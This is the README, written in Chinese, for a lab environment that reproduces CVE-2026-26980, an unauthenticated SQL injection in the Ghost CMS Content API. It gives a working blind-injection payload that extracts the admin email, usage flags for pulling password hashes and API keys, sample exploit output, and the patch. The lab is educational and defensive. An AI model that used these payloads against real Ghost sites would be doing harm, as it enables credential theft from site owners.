| CVE | CVE-2026-26980 |
| 公告 | GHSA-w52v-v783-gw97 |
| CVSS | 9.4(严重) |
| CWE | CWE-89(SQL 注入) |
| 受影响版本 | Ghost 3.24.0 -- 6.19.0 |
| 修复版本 | Ghost 6.19.1 |
| 所需认证 | 无(Content API 密钥按设计为公开) |
| 致谢/参考 | Nicholas Carlini 使用 Claude,Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg] |
免责声明 -- 本实验环境仅用于授权的安全测试、教育和防御性研究。请勿将其用于您不拥有或未经明确许可测试的系统。
Ghost 的 Content API 支持使用数组表示法按 slug 过滤标签和文章:filter=slug:[tag-a,tag-b]。在内部,一个辅助函数会构建 ORDER BY CASE 语句以保持请求的 slug 顺序。在 v6.19.1 之前,用户提供的 slug 值未经参数化直接插入到该 SQL 中:
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js(存在漏洞)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
Content API 密钥嵌入在每个 Ghost 站点的 HTML 中(data-key="..."),这使得该攻击面完全无需认证。
Ghost 的 NQL 查询语言会验证过滤器输入并拒绝原始单引号或空格。然而,NQL 接受数组表示法中的单引号包裹值(slug:['value']),将引号作为字面量的一部分传递。slugFilterOrder 正则表达式提取这些值并将其(包括引号)插入到 SQL 中:
Filter: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL 将引号作为字面字符传递
插入后 ORDER BY 变为:
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
在 MySQL 的默认 SQL 模式下,|| 是 OR,'' 为假值。这为我们提供了一个清晰的布尔盲注判定条件:
| 条件 | CASE 结果 | 效果 |
|---|---|---|
| TRUE | '' OR 0 OR '' = 0 | 正常响应(HTTP 200) |
| FALSE | '' OR EXP(710) OR '' | DOUBLE 溢出错误(HTTP 500) |
在建立判定条件后,即可应用标准的二分搜索盲注提取:
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
SUBSTR(... FROM pos FOR len) 语法避免了逗号(slugFilterOrder 会按逗号分割)。
| TRUE (1=1) → HTTP 200 | FALSE (1=0) → HTTP 500 |
|---|---|
![]() | ![]() |





该修复将字符串插值替换为参数化绑定:
// 已修复
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
crud.js 插件已更新,通过 orderByRaw 传递绑定,并且 @tryghost/bookshelf-plugins 已升级至 0.6.29,该版本增加了绑定支持。
requests 库# 克隆并进入实验环境
git clone <this-repo> && cd ghost-cve-2026-26980
# 安装 Python 依赖
pip install -r requirements.txt
# 启动存在漏洞的 Ghost 实例(6.18.0 + MySQL 8)
docker compose up -d
# 等待约 45 秒让 Ghost 完成初始化,然后运行利用脚本
python3 exploit.py --url http://localhost:2368
# 同时在 2369 端口启动已修复的 Ghost 6.19.1
docker compose --profile fixed up -d
# 等待约 45 秒,然后确认修复阻止了注入
python3 exploit.py --url http://localhost:2369 --validate-fix
bash validate.sh
docker compose --profile fixed down -v
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL Ghost URL(默认:http://localhost:2368)
--validate-fix 确认目标不存在漏洞
--extract-password 同时提取管理员 bcrypt 哈希
--extract-api-key 同时提取管理员 API 密钥
--content-key KEY 跳过设置,直接使用此 Content API 密钥
-v, --verbose 显示每次查询的判定条件结果
====================================================
CVE-2026-26980 — Ghost CMS Content API SQL 注入
====================================================
[*] 等待 Ghost 在 http://localhost:2368 就绪
[*] 设置 Ghost(admin: [email protected])
[+] 设置完成 — 建立会话
[+] 已登录
[+] Content API 密钥: ad63c06a71457583ea58f050c1
[+] 锚点 slug: news
[*] 阶段 1 — 布尔盲注验证
CASE WHEN 1=1: 200 (TRUE)
CASE WHEN 1=0: 500 (FALSE)
[+] 布尔判定条件已确认 — 存在漏洞
[*] 阶段 2a — 提取管理员邮箱
测量管理员邮箱长度... 21 个字符
提取中: [email protected]
[+] 邮箱: [email protected]
============================================================
利用结果摘要
============================================================
目标: http://localhost:2368
CVE: CVE-2026-26980
Content 密钥: ad63c06a71457583ea58f050c1
管理员邮箱: [email protected]
============================================================
同一版本还修复了第二个漏洞。Ghost 的 {{#get}} Handlebars 辅助函数使用 jsonpath 包(依赖 static-eval)来解析路径表达式。恶意主题可以构造通过原型链遍历到达 Function() 的表达式,从而实现服务器端代码执行。
| CVE | CVE-2026-29053 |
| 受影响版本 | Ghost 0.7.2 -- 6.19.0 |
| 认证 | 管理员(主题上传) |
| 修复 | 将 jsonpath 替换为受限的 querySimplePath() 函数,仅支持点号表示法、[N] 和 [*] |
本实验环境聚焦于 CVE-2026-26980,因为它无需认证且对外部攻击者更具影响力。
.
├── README.md # 本文件
├── docker-compose.yml # Ghost 6.18.0(存在漏洞)+ 6.19.1(已修复),使用 MySQL 8
├── exploit.py # 完整 PoC:设置、验证、提取
├── validate.sh # 端到端验证脚本
└── requirements.txt # Python 依赖
本实验环境根据 MIT 许可证提供,仅用于教育和授权的安全测试目的。